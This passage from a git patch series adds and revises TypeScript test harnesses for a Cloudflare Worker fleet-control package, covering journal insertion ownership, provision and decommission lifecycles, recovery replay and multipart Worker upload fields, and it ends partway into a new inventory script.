as FormData).entries() ?? [])].map( - ([name, value]) => [name, String(value)], - ), - ).toEqual( - expect.arrayContaining([['metadata[keep_bindings][]', 'secret_text']]), - ); + JSON.parse(String((controlUpload as FormData).get('metadata'))) + .keep_bindings, + ).toEqual(['secret_text']); await fenced(client, () => client.disableControlWorkerPublicAccess('fleet-state'), ); diff --git a/packages/fleet-control/test/direct-reference-journal.harness.test.ts b/packages/fleet-control/test/direct-reference-journal.harness.test.ts index 30084909..f7ac40bc 100644 --- a/packages/fleet-control/test/direct-reference-journal.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-journal.harness.test.ts @@ -325,6 +325,7 @@ describe.sequential('direct reference journal in native D1', { it.each([ 'cleanup-a', + 'cleanup-recovery-initial', 'decommission-a', ] as const)('adopts %s identity only from a Fleet token', async (slot) => { const { runKey, journal } = fixture(); @@ -428,11 +429,29 @@ describe.sequential('direct reference journal in native D1', { operationId: randomUUID(), inputJson: JSON.stringify({ records: ['second'] }), }; + let entered = 0; + let bothReady!: () => void; + const ready = new Promise((resolve) => { + bothReady = resolve; + }); + const produce = async (value: typeof first) => { + entered++; + if (entered === 2) bothReady(); + await ready; + return value; + }; const results = await Promise.all([ - journal.freezeStart('inventory-before', async () => first), - other.freezeStart('inventory-before', async () => second), + journal.freezeStart('inventory-before', () => produce(first)), + other.freezeStart('inventory-before', () => produce(second)), + ]); + expect(results.map((result) => result.inserted).sort()).toEqual([ + false, + true, ]); - expect(results[0]).toEqual(results[1]); + expect(results[0]).toEqual({ + ...results[1], + inserted: results[0]?.inserted, + }); expect([first.inputJson, second.inputJson]).toContain( results[0]?.inputJson, ); @@ -441,13 +460,115 @@ describe.sequential('direct reference journal in native D1', { inputJson: '{"records":["changed"]}', })); const reloaded = new DirectReferenceJournal(db, runKey, binding); - expect(await reloaded.freezeStart('inventory-before', changed)).toEqual( - results[0], + expect(await reloaded.freezeStart('inventory-before', changed)).toEqual({ + ...results[0], + inserted: false, + }); + expect(await reloaded.readOperation('inventory-before')).not.toHaveProperty( + 'inserted', ); expect(changed).not.toHaveBeenCalled(); expect(Object.isFrozen(results[0])).toBe(true); }); + it('reports insertion ownership and refuses a suppressed first insert', async () => { + const { runKey, journal } = fixture(); + await journal.readInterruption(); + const trigger = `ignore_start_${runKey.replaceAll('-', '')}`; + await db.exec( + `CREATE TRIGGER ${trigger} BEFORE INSERT ON direct_reference_operations WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`, + ); + try { + await expect( + journal.freezeStart('cleanup-recovery-initial', async () => ({ + operationId: null, + inputJson: '{}', + })), + ).rejects.toMatchObject({ code: 'journal-state' }); + } finally { + await db.exec(`DROP TRIGGER ${trigger}`); + } + const result = await journal.freezeStart( + 'cleanup-recovery-initial', + async () => ({ operationId: null, inputJson: '{}' }), + ); + expect(result.inserted).toBe(true); + const replay = await new DirectReferenceJournal( + db, + runKey, + binding, + ).freezeStart('cleanup-recovery-initial', async () => { + throw new Error('must use retained input'); + }); + expect(replay.inserted).toBe(false); + expect(replay.operationId).toBeNull(); + }); + + it('does not renew first-dispatch permission after committed insertion loses readback', async () => { + const { runKey } = fixture(); + let inserted = false; + let failRead = true; + const wrap = ( + statement: ReturnType, + sql: string, + ): ReturnType => + new Proxy(statement, { + get(target, key) { + if (key === 'bind') + return (...values: unknown[]) => wrap(target.bind(...values), sql); + if (key === 'all') + return async () => { + if ( + inserted && + failRead && + sql.startsWith('SELECT * FROM direct_reference_operations') + ) { + failRead = false; + throw new Error('injected committed-start readback loss'); + } + const value = await target.all(); + if (sql.startsWith('INSERT INTO direct_reference_operations')) + inserted = true; + return value; + }; + const value = Reflect.get(target, key); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const wrapped = new Proxy(db, { + get(target, key) { + if (key === 'prepare') + return (sql: string) => wrap(target.prepare(sql), sql); + const value = Reflect.get(target, key); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const journal = new DirectReferenceJournal(wrapped, runKey, binding); + await expect( + journal.freezeStart('cleanup-recovery-initial', async () => ({ + operationId: null, + inputJson: '{"retained":true}', + })), + ).rejects.toMatchObject({ code: 'journal-state' }); + expect(inserted).toBe(true); + const unexpected = vi.fn(async () => ({ + operationId: null, + inputJson: '{}', + })); + const replay = await new DirectReferenceJournal( + db, + runKey, + binding, + ).freezeStart('cleanup-recovery-initial', unexpected); + expect(replay).toMatchObject({ + inserted: false, + operationId: null, + tokenJson: null, + inputJson: '{"retained":true}', + }); + expect(unexpected).not.toHaveBeenCalled(); + }); + it('refuses a changed run binding without replacing the original', async () => { const { runKey, journal } = fixture(); await journal.readOperation('audit-before'); diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts new file mode 100644 index 00000000..bc8fcdb7 --- /dev/null +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -0,0 +1,593 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { createServer, type Server } from 'node:http'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { Readable } from 'node:stream'; +import { fileURLToPath } from 'node:url'; +import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { directDeploymentSpec } from '../scripts/direct-credentialed-spec.js'; +import { + DIRECT_REFERENCE_PATH, + type DirectReferenceAction, +} from '../scripts/direct-reference-contract.mjs'; +import { DirectReferenceJournal } from '../scripts/direct-reference-journal.js'; +import type { CleanupAdvanceResult } from '../src/cleanup-advance.js'; +import { D1FleetStateDatabase } from '../src/d1-fleet-state-database.js'; +import type { DecommissionAdvanceResult } from '../src/decommission-advance.js'; +import { D1FleetStateStore } from '../src/state-store.js'; +import type { DeploymentSecrets } from '../src/types.js'; +import { + type CloudflareFixtureRequest, + recordingFetch, + restProjection, + single, +} from './fixtures/cloudflare-fetch-fixture.js'; +import { directFixtureManifest } from './fixtures/direct-credentialed-config.js'; +import { + maintenanceResponder, + providerWorld, +} from './fixtures/provider-world.js'; + +const manifest = directFixtureManifest(); +const roles = ['a', 'b', 'recovery'] as const; +function fixtureSecrets(role: string): DeploymentSecrets { + return { + deploymentIdentity: `identity-${role}`.padEnd(40, 'i'), + maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'm'), + application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'p') }, + }; +} +const secrets = { + a: fixtureSecrets('a'), + b: fixtureSecrets('b'), + recovery: fixtureSecrets('recovery'), +}; +const binding = { + version: 1, + accountId: 'account', + fleetDatabaseId: '00000000-0000-0000-0000-000000000011', + quotaDatabaseId: '00000000-0000-0000-0000-000000000012', + exportBucketName: manifest.names.exportBucket, + referenceModuleSetSha256: 'c'.repeat(64), + accountWorkersDevSubdomain: 'direct-fixture', +}; +const specs = roles.map((role) => + directDeploymentSpec(manifest, role, 'initial', secrets[role], binding), +); + +describe.sequential('direct lifecycle through native control state', { + timeout: 180_000, +}, () => { + let directory: string; + let server: TestHarness; + let bridge: Server; + let db: D1Database; + let fleetStore: D1FleetStateStore; + let applicationBytes: R2Bucket; + let exportBytes: R2Bucket; + const world = providerWorld('uuid'); + const bridgeErrors: unknown[] = []; + const sqlFailures: string[] = []; + const buckets = new Map< + string, + { name: string; jurisdiction: string; creation_date: string } + >(); + const rest = restProjection(world); + async function providerRest( + request: CloudflareFixtureRequest, + ): Promise { + try { + return await rest(request); + } catch (error) { + if ( + new URL(request.url).pathname.endsWith('/query') && + error instanceof Error && + 'code' in error && + error.code === 'ERR_SQLITE_ERROR' + ) { + sqlFailures.push(error.message); + return Response.json( + { + success: false, + errors: [{ code: 1, message: 'fixture SQL query failed' }], + }, + { status: 400 }, + ); + } + throw error; + } + } + const projection = recordingFetch(async (request) => { + const url = new URL(request.url); + const spec = specs.find( + (candidate) => candidate.maintenanceBaseUrl === url.origin, + ); + if (spec) { + const override = request.headers.get( + 'Cloudflare-Workers-Version-Overrides', + ); + const script = world.scripts.get(spec.scriptName); + if (override) { + const selected = override.match(/^([^=]+)="([^"]+)"$/u); + if ( + selected?.[1] !== spec.scriptName || + !script?.versions.some((version) => version.versionId === selected[2]) + ) + return new Response('invalid fixture version', { status: 409 }); + } + const view = new Proxy(world, { + get(target, key) { + if (key === 'maintenanceOrigin') return spec.maintenanceBaseUrl; + if (key === 'routeOrigin') return `https://${spec.routeHostname}`; + if (key === 'scripts') + return new Map(script ? [[spec.scriptName, script]] : []); + const value = Reflect.get(target, key); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + return ( + (await maintenanceResponder(view, request)) ?? + new Response('unknown fixture maintenance route', { status: 404 }) + ); + } + if (url.origin === 'https://d1-export.example.test') { + expect(request.headers.has('Authorization')).toBe(false); + return providerRest(request); + } + if (url.origin !== 'https://api.cloudflare.com') + throw new Error('unexpected fixture origin'); + const match = url.pathname.match( + /^\/client\/v4\/accounts\/account\/r2\/buckets(?:\/([^/]+)(\/objects)?)?$/u, + ); + if (!match) return providerRest(request); + const jurisdiction = request.headers.get('cf-r2-jurisdiction') ?? 'default'; + const name = match[1] ? decodeURIComponent(match[1]) : undefined; + if (!name && request.method === 'POST') { + const requested = (request.body as { name?: unknown }).name; + const records = await Promise.all( + specs.map((spec) => fleetStore.get(spec.tenantTag, spec.environment)), + ); + if ( + typeof requested !== 'string' || + !records.some((record) => + record?.applicationResources?.some( + (resource) => + resource.bucketName === requested && + resource.jurisdiction === jurisdiction && + resource.state === 'create-authorized', + ), + ) + ) + throw new Error('unexpected fixture bucket'); + const key = `${jurisdiction}:${requested}`; + if (buckets.has(key)) + return new Response('bucket exists', { status: 409 }); + const descriptor = { + name: requested, + jurisdiction, + creation_date: new Date().toISOString(), + }; + buckets.set(key, descriptor); + return single(descriptor); + } + if (!name && request.method === 'GET') { + const selected = [...buckets.values()] + .filter( + (bucket) => + bucket.jurisdiction === jurisdiction && + bucket.name.includes(url.searchParams.get('name_contains') ?? '') && + bucket.name > (url.searchParams.get('start_after') ?? ''), + ) + .sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0)); + return single({ buckets: selected }); + } + const key = `${jurisdiction}:${name}`; + const descriptor = buckets.get(key); + if (!descriptor) return Response.json({ errors: [] }, { status: 404 }); + const prefix = `${key}/`; + if (match[2] && request.method === 'GET') { + expect(url.searchParams.get('per_page')).toBe('1'); + const objects = await applicationBytes.list({ + prefix, + limit: 1, + ...(url.searchParams.get('cursor') + ? { cursor: url.searchParams.get('cursor') as string } + : {}), + }); + return Response.json({ + success: true, + errors: [], + messages: [], + result: objects.objects.map((object) => ({ + key: object.key.slice(prefix.length), + })), + result_info: objects.truncated ? { cursor: objects.cursor } : {}, + }); + } + if (!match[2] && request.method === 'GET') return single(descriptor); + if (!match[2] && request.method === 'DELETE') { + const objects = await applicationBytes.list({ prefix, limit: 1 }); + if (objects.objects.length) + return new Response('bucket nonempty', { status: 409 }); + buckets.delete(key); + return single({}); + } + throw new Error('unexpected fixture R2 method'); + }); + + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'direct-lifecycle-')); + bridge = createServer(async (incoming, outgoing) => { + try { + const original = incoming.headers['x-direct-fixture-url']; + if (typeof original !== 'string' || incoming.url !== '/') + throw new Error('invalid fixture bridge request'); + const headers = new Headers(); + for (const [name, values] of Object.entries(incoming.headers)) { + if ( + name === 'x-direct-fixture-url' || + name === 'host' || + values === undefined + ) + continue; + for (const value of Array.isArray(values) ? values : [values]) + headers.append(name, value); + } + const method = incoming.method ?? 'GET'; + const init = { + method, + headers, + body: + method === 'GET' || method === 'HEAD' + ? undefined + : Readable.toWeb(incoming), + duplex: 'half' as const, + }; + const request = new Request(original, init as RequestInit); + const body = request.body + ? request.headers.get('content-type')?.includes('multipart/form-data') + ? await request.formData() + : await request.text() + : undefined; + const response = await projection.fetch(original, { + method, + headers, + body, + redirect: 'manual', + }); + outgoing.writeHead( + response.status, + Object.fromEntries(response.headers), + ); + outgoing.end(Buffer.from(await response.arrayBuffer())); + } catch (error) { + bridgeErrors.push(error); + outgoing.statusCode = 500; + outgoing.end('fixture handler failed'); + } + }); + await new Promise((resolve) => + bridge.listen(0, '127.0.0.1', resolve), + ); + const address = bridge.address(); + if (!address || typeof address === 'string') + throw new Error('missing fixture listener'); + const main = join(directory, 'worker.ts'); + const workerSource = fileURLToPath( + new URL('../scripts/direct-reference-worker.ts', import.meta.url), + ); + await writeFile( + main, + `import {createDirectReferenceWorker} from ${JSON.stringify(workerSource)}; +const worker=createDirectReferenceWorker(${JSON.stringify(manifest)},{fetch:async(input,init)=>{const request=new Request(input,init);if(request.url==='data:,')return fetch(request);const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return fetch('http://127.0.0.1:${address.port}/',{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual'});}}); +export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLARE_API_TOKEN:'inert-provider-token',FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:'inert-invoke',DIRECT_RUN_BINDING:${JSON.stringify(JSON.stringify(binding))},DIRECT_DEPLOYMENT_SECRETS:${JSON.stringify(JSON.stringify(secrets))}});}};`, + ); + server = createTestHarness({ + root: directory, + workers: [ + { + config: { + name: 'direct-lifecycle-harness', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + d1_databases: [ + { + binding: 'FLEET_DB', + database_name: 'lifecycle-fleet', + database_id: binding.fleetDatabaseId, + }, + { + binding: 'QUOTA_DB', + database_name: 'lifecycle-quota', + database_id: binding.quotaDatabaseId, + }, + ], + r2_buckets: [ + { binding: 'EXPORTS', bucket_name: binding.exportBucketName }, + { + binding: 'APPLICATION_BYTES', + bucket_name: 'fixture-application-bytes', + }, + ], + }, + }, + ], + }); + await server.listen(); + const env = await server + .getWorker<{ + FLEET_DB: D1Database; + EXPORTS: R2Bucket; + APPLICATION_BYTES: R2Bucket; + }>() + .getEnv(); + db = env.FLEET_DB; + fleetStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { + accountId: binding.accountId, + }); + exportBytes = env.EXPORTS; + applicationBytes = env.APPLICATION_BYTES; + }, 60_000); + + afterAll(async () => { + const closed = await Promise.allSettled([ + (async () => server?.close())(), + (async () => { + if (bridge) { + bridge.closeAllConnections(); + await new Promise((resolve, reject) => + bridge.close((error) => (error ? reject(error) : resolve())), + ); + } + })(), + ]); + const failures = closed.flatMap((result) => + result.status === 'rejected' ? [result.reason] : [], + ); + try { + if (directory) await rm(directory, { recursive: true, force: true }); + } catch (error) { + failures.push(error); + } + if (failures.length) + throw new AggregateError( + failures, + 'direct lifecycle fixture teardown failed', + ); + }, 30_000); + + async function call(action: DirectReferenceAction) { + const response = await server + .getWorker() + .fetch(`https://reference.test${DIRECT_REFERENCE_PATH}`, { + method: 'POST', + headers: { authorization: 'Bearer inert-invoke' }, + body: JSON.stringify({ + contractVersion: 1, + configSha256: manifest.configSha256, + action, + }), + }); + return { + response, + value: (await response.json()) as { + ok: boolean; + result?: unknown; + error?: unknown; + }, + }; + } + + async function success(action: DirectReferenceAction): Promise { + const { response, value } = await call(action); + expect(bridgeErrors).toEqual([]); + expect({ status: response.status, value }).toMatchObject({ + status: 200, + value: { ok: true }, + }); + return value.result as T; + } + + function journal() { + return new DirectReferenceJournal( + db, + manifest.resourcePrefix, + JSON.stringify({ + configSha256: manifest.configSha256, + binding, + quotaScope: manifest.resourcePrefix, + tenantSecretsSha256: createHash('sha256') + .update(JSON.stringify(secrets)) + .digest('hex'), + }), + ); + } + + async function finishCleanup( + token: unknown, + ): Promise> { + for (let calls = 0; calls < 150; calls++) { + const result = await success({ + kind: 'cleanup-continue', + role: 'recovery', + token, + }); + if (result.status === 'complete') return result; + expect(result.status).toBe('pending'); + token = result.token; + } + throw new Error('fixture cleanup exhausted its invocation bound'); + } + + it('uses real provision and normal teardown with native export integrity', async () => { + const result = await success<{ status: string }>({ + kind: 'provision', + role: 'a', + release: 'initial', + }); + expect(result.status).toBe('ready'); + expect(sqlFailures).toEqual([]); + const before = world.databases.length; + expect( + ( + await success<{ status: string }>({ + kind: 'provision', + role: 'a', + release: 'initial', + }) + ).status, + ).toBe('ready'); + expect(world.databases).toHaveLength(before); + let advance = await success({ + kind: 'decommission-start', + role: 'a', + }); + for (let calls = 0; advance.status !== 'complete' && calls < 150; calls++) { + expect(advance.status).toBe('pending'); + advance = await success({ + kind: 'decommission-continue', + role: 'a', + token: advance.token, + }); + } + expect(advance.status).toBe('complete'); + expect(world.databases).toHaveLength(0); + expect(buckets.size).toBe(0); + const stored = await exportBytes.list(); + expect(stored.objects.length).toBeGreaterThan(0); + const expectedSql = [...world.exports.values()][0]; + if (!expectedSql) throw new Error('fixture export bytes are missing'); + if (advance.status !== 'complete') + throw new Error('decommission did not complete'); + expect(advance.result.databaseExport.size).toBe(expectedSql.byteLength); + expect(advance.result.databaseExport.sha256).toBe( + createHash('sha256').update(expectedSql).digest('hex'), + ); + const objects = await Promise.all( + stored.objects.map(async (object) => { + const value = await exportBytes.get(object.key); + if (!value) throw new Error('stored export object is missing'); + return new Uint8Array(await value.arrayBuffer()); + }), + ); + expect( + objects.some((bytes) => + Buffer.from(bytes).equals(Buffer.from(expectedSql)), + ), + ).toBe(true); + const replay = await success({ + kind: 'decommission-start', + role: 'a', + }); + expect(replay.status).toBe('complete'); + const control = await success<{ + records: { role: string; phase: string }[]; + }>({ kind: 'control-read' }); + expect(control.records.find((record) => record.role === 'a')?.phase).toBe( + 'decommissioned', + ); + }); + + it('preserves failed and fresh recovery rollback histories and opaque replay', async () => { + const failed = await success<{ + status: string; + slot: string; + cleanup: CleanupAdvanceResult; + }>({ kind: 'provision', role: 'recovery', release: 'failed-recovery' }); + expect(failed).toMatchObject({ + status: 'failed-provision', + slot: 'cleanup-recovery', + cleanup: { status: 'pending' }, + }); + expect(sqlFailures).toEqual([ + 'no such table: direct_conformance_missing_table', + ]); + const historical = await finishCleanup(failed.cleanup.token); + world.failNext('uploadCandidate', { dispatched: false }); + const fresh = await success<{ + status: string; + slot: string; + cleanup: CleanupAdvanceResult; + }>({ kind: 'provision', role: 'recovery', release: 'initial' }); + expect(fresh).toMatchObject({ + status: 'failed-provision', + slot: 'cleanup-recovery-initial', + cleanup: { status: 'pending' }, + }); + expect(fresh.cleanup.token.operationId).not.toBe( + historical.token.operationId, + ); + const historicalReplay = await success({ + kind: 'cleanup-continue', + role: 'recovery', + token: historical.token, + }); + expect(historicalReplay).toMatchObject({ + status: 'complete', + receipt: historical.receipt, + }); + const completed = await finishCleanup(fresh.cleanup.token); + expect(completed.receipt.operationId).toBe(fresh.cleanup.token.operationId); + expect( + (await journal().readOperation('cleanup-recovery'))?.operationId, + ).toBe(historical.receipt.operationId); + expect( + (await journal().readOperation('cleanup-recovery-initial'))?.operationId, + ).toBe(completed.receipt.operationId); + const selected = await success<{ slot: string; receipt: unknown }>({ + kind: 'cleanup-receipt', + role: 'recovery', + }); + expect(selected).toEqual({ + slot: 'cleanup-recovery-initial', + receipt: completed.receipt, + }); + const attempts = projection.requests.length; + const refused = await call({ + kind: 'provision', + role: 'recovery', + release: 'initial', + }); + expect(refused.value.ok).toBe(false); + expect(projection.requests).toHaveLength(attempts); + for (const token of [null, {}, { operationId: 'foreign', revision: 1 }]) { + expect( + (await call({ kind: 'cleanup-continue', role: 'recovery', token })) + .value.ok, + ).toBe(false); + } + }); + + it('does not provision again from prepared history with no observable result', async () => { + const spec = specs[1]; + if (!spec) throw new Error('fixture b specification is missing'); + const { deploymentSpecDigest } = await import('../src/spec-digest.js'); + await journal().freezeStart('cleanup-b', async () => ({ + operationId: null, + inputJson: JSON.stringify({ + version: 1, + role: 'b', + release: 'initial', + specDigest: deploymentSpecDigest(spec), + }), + })); + const attempts = projection.requests.length; + const response = await call({ + kind: 'provision', + role: 'b', + release: 'initial', + }); + expect(response.value.ok).toBe(false); + expect(projection.requests).toHaveLength(attempts); + expect( + world.databases.some((database) => database.name === spec.databaseName), + ).toBe(false); + expect(bridgeErrors).toEqual([]); + }); +}); diff --git a/packages/fleet-control/test/fetch-receiver.harness.test.ts b/packages/fleet-control/test/fetch-receiver.harness.test.ts index d309181e..17115231 100644 --- a/packages/fleet-control/test/fetch-receiver.harness.test.ts +++ b/packages/fleet-control/test/fetch-receiver.harness.test.ts @@ -48,6 +48,23 @@ export default {async fetch(request){ const result=await transport.providerFetch('data:,');await result.text(); return Response.json({ok:true,status:result.status,metrics:transport.snapshot()}); } + if(kind==='upload'){ + const observed=[];const uploadFetch=async(input,init)=>{ + const request=new Request(input,init);if(request.url==='data:,')return new Response(''); + const path=new URL(request.url).pathname; + if(path.endsWith('/subdomain'))return Response.json({success:true,errors:[],result:{enabled:false,previews_enabled:false}}); + const form=await request.formData(),metadata=JSON.parse(form.get('metadata')),module=form.get('bin/fixture.wasm'); + observed.push({path,method:request.method,keys:[...form.keys()].sort(),metadata,wasm:module&&typeof module!=='string'?[...new Uint8Array(await module.arrayBuffer())]:null,wasmType:module&&typeof module!=='string'?module.type:null}); + return Response.json({success:true,errors:[],result:{id:'v1',etag:'v1'}}); + }; + const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',rateCoordinator:{async acquire(){}},fetch:uploadFetch}); + const common={scriptName:'native-upload',candidateTag:'native-candidate',mainModule:'src/worker.js',modules:[{name:'src/worker.js',content:'export default {}'},{name:'bin/fixture.wasm',content:new Uint8Array([0,97,115,109,1,0,0,0,0,6,0,255,128,0,195,169]),contentType:'application/wasm'}],compatibilityDate:'2026-08-06',bindings:{plainText:[],secrets:[],d1:[],durableObjects:[],services:[],queueProducers:[],r2Buckets:[]},limits:{cpuMs:42,subrequests:70},publicAccess:{workersDevEnabled:false,previewUrlsEnabled:false}}; + for(const mode of ['initial','staged']){ + const prepared=await client.prepareOrdinaryWorkerUpload({...common,mode,...(mode==='initial'?{durableObjectMigrations:[]}:{})}); + await client.withMutationFence({mutationLeaseTtlMs:900000,async assertOwned(){}},()=>client.dispatchOrdinaryWorkerUpload(prepared)); + } + return Response.json(observed); + } globalThis.fetch=intercept; if(kind==='export'){ const exportStore={async write(input){stored=true;const text=await new Response(input.body).text();return {location:'r2://fixture/export.sql',size:new TextEncoder().encode(text).length,sha256:createHash('sha256').update(text).digest('hex')};}}; @@ -127,6 +144,44 @@ export default {async fetch(request){ ).toEqual([expect.objectContaining({ redirect: 'manual' })]); }); + it('names native initial and staged multipart fields after their modules', async () => { + const response = await server + .getWorker() + .fetch('https://fixture.test?kind=upload'); + const body = (await response.json()) as Array<{ + path: string; + method: string; + keys: string[]; + metadata: unknown; + wasm: number[]; + wasmType: string; + }>; + expect(body).toHaveLength(2); + expect(body.map(({ path, method }) => [path, method])).toEqual([ + ['/client/v4/accounts/account/workers/scripts/native-upload', 'PUT'], + [ + '/client/v4/accounts/account/workers/scripts/native-upload/versions', + 'POST', + ], + ]); + for (const upload of body) { + expect(upload.keys).toEqual([ + 'bin/fixture.wasm', + 'metadata', + 'src/worker.js', + ]); + expect(upload.metadata).toMatchObject({ + main_module: 'src/worker.js', + limits: { cpu_ms: 42, subrequests: 70 }, + annotations: { 'workers/tag': 'native-candidate' }, + }); + expect(upload.wasm).toEqual([ + 0, 97, 115, 109, 1, 0, 0, 0, 0, 6, 0, 255, 128, 0, 195, 169, + ]); + expect(upload.wasmType).toBe('application/wasm'); + } + }); + it('rejects an export redirect without storing data or awaiting cancellation', async () => { const response = await server .getWorker() diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index f20503ec..db62455b 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -194,14 +194,16 @@ async function decodeBody(body: RequestInit['body']): Promise { const files: Array<{ name: string; type: string; text: string }> = []; const fields: Record = {}; for (const [name, value] of body.entries()) { - if (typeof value !== 'string') { + if (name === 'metadata') { + fields[name] = JSON.parse( + typeof value === 'string' ? value : await value.text(), + ); + } else if (typeof value !== 'string') { files.push({ - name: value.name, + name, type: value.type, text: await value.text(), }); - } else if (name === 'metadata') { - fields[name] = JSON.parse(value); } else { fields[name] = value; } @@ -541,6 +543,15 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { throw new Error(`unexpected request ${method} ${target.pathname}`); } const script = world.scripts.get(scriptName); + if ( + (target.pathname.endsWith(`/workers/scripts/${scriptName}`) && + method === 'PUT') || + (target.pathname.endsWith('/versions') && method === 'POST') + ) { + const mainModule = readStringFact(bodyField('metadata'), 'main_module'); + if (!readModules(body).some((module) => module.name === mainModule)) + return failedResponse('the declared entrypoint module part is missing'); + } if ( target.pathname.endsWith(`/workers/scripts/${scriptName}`) && method === 'PUT' From 6b55190d4ca4b8900bc594ee4c3784351b206e39 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 05:22:54 +0400 Subject: [PATCH 116/169] fix(fleet-control): complete reference audit and migration actions Retain actual audit/migration inputs and claims across Worker replacement, record the observed admission interruption, and forward pages and abandonment. Inspect prior ordinary releases without applying future release bindings. Verify native failure recovery and repeated settlement, shared adapter conformance, packed consumption, and three independent review lanes. --- .../fleet-control-prior-release-inspection.md | 5 + .../scripts/direct-reference-inventory.ts | 149 +++++ .../scripts/direct-reference-r4.ts | 383 +++++++++++++ .../scripts/direct-reference-worker.ts | 148 +---- .../scripts/tsconfig.direct-worker.json | 1 + .../fleet-control/src/plain-worker-backend.ts | 17 +- .../test/cloudflare-fetch-fixture.test.ts | 53 ++ ...direct-reference-lifecycle.harness.test.ts | 480 ++-------------- .../test/direct-reference-r4.harness.test.ts | 539 ++++++++++++++++++ .../test/fixtures/cloudflare-fetch-fixture.ts | 17 +- .../test/fixtures/direct-reference-harness.ts | 474 +++++++++++++++ .../test/plain-worker-backend-conformance.ts | 62 ++ .../test/plain-worker-backend.test.ts | 53 ++ 13 files changed, 1799 insertions(+), 582 deletions(-) create mode 100644 .changeset/fleet-control-prior-release-inspection.md create mode 100644 packages/fleet-control/scripts/direct-reference-inventory.ts create mode 100644 packages/fleet-control/scripts/direct-reference-r4.ts create mode 100644 packages/fleet-control/test/cloudflare-fetch-fixture.test.ts create mode 100644 packages/fleet-control/test/direct-reference-r4.harness.test.ts create mode 100644 packages/fleet-control/test/fixtures/direct-reference-harness.ts diff --git a/.changeset/fleet-control-prior-release-inspection.md b/.changeset/fleet-control-prior-release-inspection.md new file mode 100644 index 00000000..fdd527c6 --- /dev/null +++ b/.changeset/fleet-control-prior-release-inspection.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Allow ordinary Worker migration to inspect a previous release with different application variables, service bindings or queue bindings. Versions claiming the requested specification digest retain the binding checks. diff --git a/packages/fleet-control/scripts/direct-reference-inventory.ts b/packages/fleet-control/scripts/direct-reference-inventory.ts new file mode 100644 index 00000000..f346363d --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-inventory.ts @@ -0,0 +1,149 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { randomUUID } from 'node:crypto'; +import type { CloudflareFleetInventoryAdvanceAction } from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectReferenceContext } from './direct-reference-context.js'; +import { directContinuation } from './direct-reference-continuation.js'; +import type { + DirectInventorySlot, + DirectReferenceAction, +} from './direct-reference-contract.mjs'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import { + DirectReferenceJournalError, + type DirectStoredOperation, +} from './direct-reference-journal.js'; + +function inventoryOptions(manifest: DirectRunManifest) { + const prefix = `${manifest.resourcePrefix}-tenant-`; + return { + databaseNamePrefix: prefix, + scriptNamePrefix: prefix, + includeR2Buckets: true, + }; +} + +function inventoryStart( + manifest: DirectRunManifest, + stored: DirectStoredOperation, +) { + if (stored.kind !== 'inventory' || stored.operationId === null) + throw new DirectReferenceJournalError(); + const action = { + kind: 'start' as const, + operationId: stored.operationId, + options: inventoryOptions(manifest), + }; + if (stored.inputJson !== JSON.stringify(action)) + throw new DirectReferenceJournalError(); + return action; +} + +function pinOwner( + manifest: DirectRunManifest, + slot: DirectInventorySlot, +): string { + return `direct-reference:${manifest.resourcePrefix}:${slot}`; +} + +export async function selectedDirectGeneration( + context: DirectReferenceContext, + manifest: DirectRunManifest, + slot: DirectInventorySlot, +) { + const stored = await context.journal.readOperation(slot); + if (!stored) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const start = inventoryStart(manifest, stored); + const run = await context.inventoryStore.readRunByOperation( + start.operationId, + ); + if (run?.state !== 'finalized') + throw new DirectReferenceJournalError('prerequisite-unavailable'); + if ( + run.operationId !== start.operationId || + run.options.databaseNamePrefix !== start.options.databaseNamePrefix || + run.options.scriptNamePrefix !== start.options.scriptNamePrefix || + run.options.includeR2Buckets !== true || + run.options.includeDispatchNamespace !== false || + run.options.hostRoutingKvId !== undefined + ) + throw new DirectReferenceJournalError(); + return { operationId: run.operationId, generation: run.progress.generation }; +} + +export async function dispatchDirectInventory( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: Extract, + signal: AbortSignal, +): Promise { + if (action.kind === 'inventory-read') { + const selected = await selectedDirectGeneration( + context, + manifest, + action.slot, + ); + return { + ...selected, + inventory: await context.control.readFleetInventoryGeneration( + selected.generation, + ), + }; + } + if (action.kind !== 'inventory-start' && 